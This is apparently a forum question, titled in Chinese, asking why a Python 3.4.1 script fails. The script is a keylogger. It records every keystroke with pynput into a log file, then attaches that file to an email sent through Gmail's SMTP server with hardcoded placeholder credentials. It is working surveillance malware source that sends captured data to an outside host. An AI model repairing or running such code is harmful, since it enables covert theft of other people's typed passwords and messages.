问在使用python 3.4.1代码时遇到问题。不会坚持完成给定的任务

EN

from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase
from email import encoders

#keylogger 
log_dir = "C:\KeyLogger Python\Key_InputLog.txt" 

logging.basicConfig(filename=(log_dir), level=logging.DEBUG, format='%
(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

#sending email to self.

email_sender = 'Emailhere@gmail.com'
email_receive = 'Emailhere@gmail.com'
password = 'Password!'
subject = 'KLE - Key_InputLog.txt'

msg = MIMEMultipart()
msg['From'] = email_sender
msg['to'] = email_receive
msg['Subject'] = subject

body = 'Sending a message via Python 3'
msg.attach(MIMEText(body,'plain'))

filename='Key_InputLog.txt'
attachment =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_sender,password)


server.sendmail(email_sender,email_receive,text)
server.quit()